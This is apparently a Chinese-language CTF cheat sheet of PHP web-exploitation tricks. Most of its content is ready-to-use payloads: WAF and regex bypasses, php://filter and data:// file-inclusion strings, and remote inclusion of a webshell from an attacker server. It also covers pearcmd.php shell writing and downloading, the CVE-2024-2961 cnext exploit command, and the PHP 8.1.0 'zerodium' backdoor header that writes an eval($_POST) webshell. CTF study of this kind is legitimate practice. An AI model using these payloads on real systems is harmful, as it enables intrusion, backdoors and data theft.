PHP特性
$_REQUEST 循环查找参数
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('waf');
}
}
$_REQUEST 优先识别 POST 传递的参数,在传入$_GET 的参数时也传一个同名的$_POST 参数值,可以覆盖对$_REQUEST 的过滤。
$_SERVER[‘QUERY_STRING’]检查
if($_SERVER){
if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING'])) die('w2');
}
$_SERVER 不会对参数 url 编码,可以对过滤的字符进行 URL 编码。一个寻找可被 url 编码字符的脚本
|
特殊名称参数: _改为[
$_GET['ez_ser.from_you'] 这种同时存在_和. 的参数,传参时要把参数第一个 _ 换为 [ , 传入 ez[ser.from_you 即可正常传入。
原理:
php ⾮法传参
在给参数传值时,如果参数名中存在⾮法字符,⽐如空格和点,则参数名中的点和空格等⾮法字符都会被替换成下划线。
并且,在 PHP8 之前,如果参数中出现中括号[,那么中括号会被转换成下划线_,但是会出现转换错误,导致如果参数名后⾯还存在⾮法字符,则不会继续转换成下划线。
也就是说,我们可以刻意拼接中括号制造这种错误,来保留后⾯的⾮法字符不被替换,因为中括号导致只会替换⼀次。
哈希函数相关
file_get_contents($_GET[‘flag’])绕过
要求 file_get_contents($_GET[‘flag’])=='flag’为真
data://text
- flag=data://text/plain,flag
- flag=data://text/plain;base64,ZmxhZw==
compress.zlib://data:
- flag=compress.zlib://data:,flag
- flag=compress.zlib://data:;base64,ZmxhZw==
php://input(对 POST 传参不适用)
GET 传参:flag=php://input
POST 传参:flag
限制$_GET[‘flag’]以 http 开头且 strpos(file_get_contents($_GET[‘flag’]), ‘content’)===true
flag=http://[email protected]/index.php
相当于跳转 127.0.0.1/index.php,也可以用自己的服务器
文件包含
可直接包含的函数,如 include, require
绕过 require_once 命令
轮流循环绕过
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php
常规读取
base64读取 convert.base64-encode
?file=php://filter/convert.base64-encode/resource=
rot13读取 string.rot13,需要关闭短标签解析
?file=php://filter/string.rot13/resource=
convert.iconv.*.*
?file=php://filter/read=convert.iconv.utf-8.utf-16/resource=
?file=php://filter//convert.iconv.UCS-4*.UCS-4*/resource=
?file=php://filter/read=convert.quoted-printable-encode/resource=
可用的 filter 编码名单,可以排列组合
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
写 php 文件
data://
?file=data://text/plain,<?php phpinfo();?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
如果正则匹配了data不能在开头,可使用压缩绕过
?file=compress.zlib://data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
http传马
?file=http://x.x.x.x/shell.php
shell.php内容:
<?php echo eval(system("whoami"));phpinfo();?><?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
为什么这个不能直接加载一句话木马呢,因为使用PHP文件包含函数远程加载Webdav共享文件时,不能附加消息(GET/POST),但是我们可以自定义shell.php,通过服务器加载远程shell.php给我们自动生成一个Webshell
对 zip 文件包含
使用 zip://或 phar://
后缀不一定必须是.zip,这里的 a.jpg 是 a.zip 改过后缀名后上传的
?file=zip://upload/a.jpg#shell.php
?file=phar://upload/a.jpg/shell.php
利用 pearcmd.php 写入 shell
?file=../../../../../../../usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=eval($_POST[1]);?>+1.php
或者利用install下载shell
?file=/usr/local/lib/php/pearcmd.php&+install+--installroot=/var/www/html+http://ip/shell.php
VPS的shell.php放在/tmp/pear/download/中
不要用火狐的 hackbar 插件传参,它会默认做一次 url 编码导致特殊字符被编码
file_get_contents
用 file://和 local_file://读取常见目录
CVE-2024-2961 利用 phpfilter 提升为远程代码执行
示例如下:
|
https://github.com/ambionics/cnext-exploits/tree/main
运行代码:
python3 cnext-exploit.py http://127.0.0.1:100/file.php "echo '<?php phpinfo();?>' > 2.php" |
必要时根据题意更改 send 和 download 函数。参数是 GET 类型时更改所有的 tf.random.string(50)为 tf.random.string(48),因为 GET 参数限制长度为 148。
system 命令读文件过滤了/和部分字母
${PWD%%[a-z]*}可以在 url 上构造 /
例如读到 flag 位置在 /_flag
直接读取 ${PWD%%[a-z]*}_*
preg_match 返回 false ,利用 pcre 绕过
必须用 POST 传参,GET 有字符上限。
pcre 原理为 preg_match 递归查找会限制字符长度,默认值为 1000000,如果超出会返回 bool(false)。
|
出不来可以适当增加字符长度。(有次把次数设成 1011451 就能过了,抽象)
PHP 原生类
DirectoryIterator,FilesystemIterator,GlobIterator ->可遍历目录类
SplFileObject->读取文件类
使用范例(可配合 php 伪协议)
foreach
$text=new $a($b);
foreach ($text as $tmp)
{
echo $tmp;
}
a=DirectoryIterator&b=/
a=SplFileObject&b=php://filter/convert.base64-encode/resource=index.php
简略写法
echo (new $a($b))->$c();//c可以省略
a=SplFileObject&b=php://filter/convert.base64-encode/resource=index.php&c=fgets
a=SplFileObject&b=php://filter/convert.base64-encode/resource=index.php&c=__toString
打ctf比赛时还发现了一种新方法可以执行函数:
a=ReflectionFunction&b=phpinfo&c=invoke
可以执行类似匿名函数的代码:
比如:create_function("", 'die(`/readflag`);');
当你访问时,默认为\00lambda_1,每次被访问时这个数字会加一。
所以先用phpinfo去打,确认能打通后重启环境后再传%00lambda_1。
用php7.4.3测试时阈值是500,超过这个值就会从1重新计数
PHP 类名大小写
php 对于类名大小写不敏感,A 和 a 都会认为是同一个类。
parse_url
|
绕过 parse_url 检测
如果 path 部分为///,则 query 解析错误
$url = parse_url($_SERVER['REQUEST_URI']); |
使用///public/?payload=O:123123绕过 foreach。
basename($_SERVER[‘PHP_SELF’])
比如下面这个例子
|
PHP_SELF 会返回请求的 URL 路径如 /index.php/abc/123,basename 会将传入的参数路径截取最后一段作为返回值。但 basename 有一个特性,是当该函数发现最后一段为不可见字符时会返回上一层的目录,
所以 exp 为: /index.php/config.php/%ff。
basename(“/index.php/config.php/%ff”) => config.php
PHP 8.1.0 任意代码执行漏洞
User-Agentt: zerodium 可以执行 PHP 代码。
HTTP 头添加:
User-Agentt: zerodiumsystem("echo '<?php eval(\$_POST[1]);?>' > /var/www/html/1.php");
